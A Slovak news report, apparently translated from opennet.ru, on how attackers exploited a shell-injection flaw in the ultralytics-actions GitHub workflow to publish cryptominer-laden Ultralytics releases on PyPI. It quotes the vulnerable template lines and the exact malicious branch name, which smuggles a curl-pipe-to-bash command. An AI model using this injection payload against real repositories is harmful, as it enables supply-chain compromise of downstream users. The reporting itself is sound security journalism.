Chyba v spracovateľovi GitHub Actions viedla k zverejneniu škodlivých release-ov Ultralytics.

Zlodeji sa podarilo vykonať kód so susedskými právami GitHub Actions v repozitári Python knižnice Ultralytics, používaného na riešenie úloh počítačového videnia, ako je identifikácia objektov na obrázkoch a segmentácia obrázkov. Po získaní prístupu k repozitáru útočníci publikovali v katalógu PyPI niekoľko nových vydaní Ultralytics, ktoré obsahovali škodlivé zmeny na ťažbu kryptomien. V poslednom mesiaci bola knižnica Ultralytics stiahnutá z katalógu PyPI viac ako 6,4 milióna krát.

Na kompromitáciu repozitára bola použitá zraniteľnosť v balíku ultralytics-actions, používanom na automatické spúšťanie spracovateľov pri vykonávaní určitých akcií s repozitárom na GitHub, využívajúc mechanizmus GitHub Actions. V projekte ultralytics bol zraniteľný spracovateľ priradený k udalosti pull_request_target a bol vyvolaný pri príchode nových pull-žiadostí. Konkrétne, pre formátovanie kódu v zaslaných pull-žiadostiach bol vyvolaný spracovateľ format.yml a vykonaný kód, uvedený v sekcii „run“ súboru action.yml, ktorý obsahoval shell príkazy s náhradnými šablónami: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name „${{ inputs.github_username }}“ git config —global user.email „${{ inputs.github_email }}“

Takže sa do shell príkazov bez správneho escapovania vkladal názov Git vetvy uvedenej v pull-žiadaní. Je pozoruhodné, že v auguste bola v balíku ultralytics-actions už opravená podobná zraniteľnosť, súvisiaca s použitím vonkajšej hodnoty vo funkcii echo: echo „github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}“

Na zorganizovanie vykonania svojho kódu v kontexte spracovateľa GitHub Actions útočníci poslali pull-žiadost do repozitára ultralytics s uvedením nasledovného názvu vetvy: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Pri príchode pull-žiadaní sa do kódu vložila útočníkmi zadaná reťazec „$(…)“, ktorý pri následnom spustení spracovateľa viedol k vykonaniu kódu „curl -sSfL raw.githubusercontent.com/…/file.sh | bash“.

Chyba v spracovateľovi GitHub Actions viedla k zverejneniu škodlivých release-ov Ultralytics.

Spustenie kódu v kontexte GitHub Actions môže byť použité na získanie prístupového tokenu k repozitáru a iných dôverných údajov. Ako presne útočníkom podarilo vytvoriť vydanie a získať schopnosť vykonávať svoj kód v GitHub Actions, zatiaľ nie je jasné; predpokladá sa, že to bolo možné zmenou spracovateľa publish.yml (útočníci odstránili kontrolu účtu, ktorému je povolené publikovať vydania v PyPI) a použitím techniky znehodnotenia cache GitHub Actions na vloženie svojich údajov do vydania.

Prvé škodlivé vydanie Ultralytics 8.3.41 bolo zverejnené útočníkmi v katalógu PyPI 4. decembra o 23:51 (MSK) a odstránené bolo o 12:15 nasledujúceho dňa. O 15:47 bolo zverejnené ďalšie vydanie 8.3.42, ktoré bolo odstránené o 16:47. Takto boli škodlivé verzie celkovo dostupné na stiahnutie približne 13 hodín (v deň sa v PyPI zaznamenáva približne 250 tisíc stiahnutí knižnice ultralytics). V rámci vydaní 8.3.41 a 8.3.42 bol prítomný kód na vykonávanie sťahovania z externého servera komponentu XMRig na ťažbu kryptomien.

Vývojári projektu problém vyriešili a vytvorili opravné vydania 8.3.43 a 8.3.44, ale o dva dni neskôr došlo k ďalšiemu útoku, pri ktorom útočníci dnes o 04:41 a 05:27 (MSK) publikovali dve ďalšie škodlivé vydania — 8.3.45 a 8.3.46, ktoré obsahovali iný kód na ťažbu. Pred dokončením šetrenia sa používateľom odporúča zdržať sa inštalácie nových verzií a fixovať v závislostiach vydanie 8.3.44.

Zdroj: opennet.ru

Kúpte si spoľahlivý hosting pre webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Kúpte si spoľahlivý hosting pre webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster